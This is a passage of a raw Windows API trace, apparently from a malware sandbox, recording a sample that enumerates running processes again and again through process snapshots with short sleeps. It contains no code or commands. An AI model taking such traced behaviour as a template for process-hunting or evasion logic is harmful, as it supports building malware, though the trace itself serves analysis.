lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xffc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0251.525] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.526] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0251.527] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xeec, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0251.528] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0251.529] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0251.530] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0251.531] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xe64, pcPriClassBase=8, dwFlags=0x0, szExeFile="osk.exe")) returned 1 [0251.532] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mshta.exe")) returned 1 [0251.533] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mshta.exe")) returned 1 [0251.534] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mshta.exe")) returned 0 [0251.534] CloseHandle (hObject=0x35c) returned 1 [0251.535] Sleep (dwMilliseconds=0x1) [0251.649] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0251.654] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.655] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0251.656] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0251.657] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.658] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0251.658] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.659] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0251.660] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0251.661] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0251.662] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.663] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0251.663] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0251.664] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.665] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0251.667] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.668] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.668] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.669] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.670] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.671] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.672] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.673] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.673] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.674] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0251.675] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.676] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.677] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0251.678] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0251.678] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.679] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0251.680] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0251.681] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0251.712] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0251.713] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0251.713] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0251.714] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0251.715] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0251.715] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0251.716] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0251.717] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0251.717] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuite.exe")) returned 1 [0251.718] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="survivors sets.exe")) returned 1 [0251.719] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lottery-royalty.exe")) returned 1 [0251.719] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots.exe")) returned 1 [0251.730] CloseHandle (hObject=0x35c) returned 1 [0251.730] Sleep (dwMilliseconds=0x1) [0251.864] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0251.870] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.936] CloseHandle (hObject=0x35c) returned 1 [0251.936] Sleep (dwMilliseconds=0x1) [0252.019] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0252.023] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.117] CloseHandle (hObject=0x35c) returned 1 [0252.117] Sleep (dwMilliseconds=0x1) [0252.192] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0252.196] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.429] CloseHandle (hObject=0x35c) returned 1 [0252.429] Sleep (dwMilliseconds=0x1) [0252.512] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0252.516] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.624] CloseHandle (hObject=0x35c) returned 1 [0252.624] Sleep (dwMilliseconds=0x1) [0252.657] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0252.662] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.692] CloseHandle (hObject=0x35c) returned 1 [0252.692] Sleep (dwMilliseconds=0x1) [0252.721] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0252.725] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.761] CloseHandle (hObject=0x35c) returned 1 [0252.761] Sleep (dwMilliseconds=0x1) [0252.799] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0252.803] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.831] CloseHandle (hObject=0x35c) returned 1 [0252.831] Sleep (dwMilliseconds=0x1) [0252.870] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0252.874] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.951] CloseHandle (hObject=0x35c) returned 1 [0252.951] Sleep (dwMilliseconds=0x1) [0253.044] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0253.049] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.151] CloseHandle (hObject=0x35c) returned 1 [0253.151] Sleep (dwMilliseconds=0x1) [0253.198] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0253.202] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.326] CloseHandle (hObject=0x35c) returned 1 [0253.326] Sleep (dwMilliseconds=0x1) [0253.362] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0253.367] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.122] CloseHandle (hObject=0x35c) returned 1 [0254.122] Sleep (dwMilliseconds=0x1) [0254.556] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0254.562] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.598] CloseHandle (hObject=0x35c) returned 1 [0254.598] Sleep (dwMilliseconds=0x1) [0254.811] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0254.816] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.846] CloseHandle (hObject=0x35c) returned 1 [0254.846] Sleep (dwMilliseconds=0x1) [0255.056] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0255.061] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.195] CloseHandle (hObject=0x378) returned 1 [0255.195] Sleep (dwMilliseconds=0x1) [0255.243] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0255.257] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.390] CloseHandle (hObject=0x378) returned 1 [0255.390] Sleep (dwMilliseconds=0x1) [0255.571] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0255.584] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.791] CloseHandle (hObject=0x378) returned 1 [0255.791] Sleep (dwMilliseconds=0x1) [0255.959] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0255.967] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.140] CloseHandle (hObject=0x378) returned 1 [0256.140] Sleep (dwMilliseconds=0x1) [0256.256] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0256.267] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.401] CloseHandle (hObject=0x378) returned 1 [0256.401] Sleep (dwMilliseconds=0x1) [0256.473] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0256.486] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 